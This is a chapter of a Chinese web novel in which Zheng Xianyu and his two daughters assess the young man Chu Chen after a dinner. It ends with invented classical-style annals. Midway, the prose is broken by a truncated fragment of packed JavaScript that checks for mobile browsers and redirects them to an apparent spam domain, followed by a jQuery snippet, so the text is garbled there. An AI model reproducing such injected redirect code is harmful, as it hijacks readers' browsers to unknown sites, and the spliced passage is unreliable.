楚琛一时不忿。昨晚才签了名，今天就被喊来吃饭扯淡，用膝盖想也明白这家伙有些目的。可转念一想，自己在这地方无根无基，别说打哑谜，恐怕未来装孙子的场景都有的是，一下又平衡不少。 不过，这回郑弦余好像是已经做了决定，一句话没再多说。 一顿饭在诡异的沉默中结束。郑弦余慢条斯理地漱过口，才仿佛不经意道： “小郎君既自称是我的子侄……可愿真做一阵我的子侄？” 楚琛：“……” 果然。先前想什么来着。 楚琛当即站起，叉手深深一礼：“拜见叔父。” “不急。”郑弦余受了这礼，语气依旧淡然，“郑某生性谨慎，从不敢轻信来历不明之人。你且先去弄份照身。弄到了，再来叙话。” …… 楚琛的身影消失在门外，郑弦余敲了敲桌面：“都出来吧。” 屏风后人影晃动，步出一高一矮两位少女。郑弦余目光落在高个的长女身上：“鸣珂，你怎么看？” 高个少女一屁股坐在楚琛方才所坐之处，扁起嘴：【他干瘪得像月里朵送我那条细狗……父亲，我不要他！】 郑弦余一怔，继而眉头一跳，也换做契丹语：【谁同你说是这事？】 郑鸣珂低头不语。郑弦余瞥向她身旁的矮个少女：“怀瑾，你说的？” 被点名的郑怀瑾吓得一缩脖子，慌忙摆手：“没有，爹爹！我……我也才知道……” “不关妹妹的事！”郑鸣珂急忙辩解，“是女儿自己胡思乱想……” “记着，既不关你事，你又何须多言。”郑弦余随口教训，视线依然牢牢锁住次女—— “郑怀瑾。” 矮个少女一哆嗦：“我没说！是娘喊阿姐打扮，我只冲阿姐笑……” 郑弦余打断她：“你以为，楚琛此人，可为你阿姐良配？” “啊？可阿姐又不喜欢他……” “你以此取笑你阿姐。” “我错了……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203642|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你取笑的是我？” 矮个少女转身行礼：“阿姐，是我不对……” 郑鸣珂忙去拉她：“没事、没事。” “我让你们来，不是看戏解闷。”郑弦余平缓道。“怀瑾，说说，你如何看待此人？” 赔完罪的郑怀瑾顿时面露不屑：“女儿看这姓楚的好生无礼！不过一个借势的猢狲，顶着爹爹和张伯父名头招摇撞骗……” “哦？”郑弦余问，“他如何招摇撞骗？” “他说起吃喝，是头头是道，可连个照身都拿不出，也不说籍贯……依女儿看，至多是哪个大族逃出来的刁奴！” “嗯。”郑弦余不置可否，“好羊你是吃过不少。他说的那药材炖方，你可曾尝过？” “……没有。” “仪态可以偷学，习性却需时日培养。”郑弦余缓缓道，“这个楚琛，咀嚼时必闭口，应声前定先咽尽，无人奉漱盂，知道多饮茶汤清口——深夜入城，还记得寻牙粉——这是个好习惯。你们都该记着，齿为骨之余，落一颗便塌半张脸面，与其到时懊悔，不如平日仔细。” 两个女儿皆作苦脸称是，郑弦余沉吟片刻，续道：“以为父观之，此人必出自大族，至少旁支，且不曾短过衣食。” “其见乡中乱起，借报信连夜入城，可见果决胆气；不卑不亢，显其坚韧骨相；见为父杀人，犹敢攀附关系——”他喉间滚出半声冷笑，“正显其脸皮够厚。坚韧果决，宠辱不惊，厚颜无耻……” “这般人物，就算真是哪家逃奴，时日一长，也绝非池中之物。” “女儿眼拙，”郑怀瑾小声嘀咕，“除了看出此人脸皮极厚，旁的……一样都看不出。” “阿瑾说得有理。”郑鸣珂附和，“依我看，这人瘦得风一吹就倒，定是吃不饱的。既然吃不饱，必是地位不够。地位既然不够，父亲又何必对他如此客气。” 郑弦余笑了笑，看向大女儿：“你开脉那月，也瘦脱相了。是吃不饱？还是地位不够？” 郑鸣珂瘪嘴不说话。郑弦余又道：“我记得，你有套月白的裙衫？” “啊，是母亲非要做的……” “你在屏风后，可曾看清楚琛所着何色？” 郑鸣珂一愣，郑怀瑾道：“不就是寻常皂袍……？” “若让你俩着素裙，戴上你们所有镯子链子珠子去跑马击球，还能自在么？” 见两个女儿若有所悟，郑弦余淡淡道：“这人入城时血污满身，想必染过几条人命，却又连夜换净，甚至单衣出行——对这等自矜之人，礼数与客气，便如你们这些金装玉裹，好看，贵重，一旦套上，再难随意。” “再说回其人本身。不满官厨手艺，是会讲究；虽不满，却不曾浪费，是能将就。单这两点，不过寻常。然读过书，杀过人，走过夜路之后，依然不亢不卑，是图谋长远。小小年纪，集此诸多……” 他又笑一声：“呵，能做我家子侄，却绝非我家良配。” “原样转告你们母亲，教她莫要多想。还有，告诉官厨，晚间试试那道炖方。” * ……太祖幼颖异，年十三，身已逾七尺。尝开弓于庭，矢贯重甲，观者莫辨雌雄。有相者拊掌叹曰：“牝牡之姿，当主神器。” ——《河东轶闻录》 ……郑公讳弦余尝游辽东，值兵乱，侨寓槐县驿。中宵，驿外古槐如墨，覆压城垣，又见玄云破月，有龙战于野。惊寤披衣，踏露至东郭，值太祖单骑叩门。残星映甲，眉间紫气郁然，郑公遽整冠迎之。 槐令张公闻之，抚掌笑曰：“公其欲择东床乎？” 对曰：“某阅天潢贵胄多矣，未睹英迈若此者。苟止一女，当配之。”复叹：“然双璧在膝，焉忍厚薄之耶？” ——《燕山外史》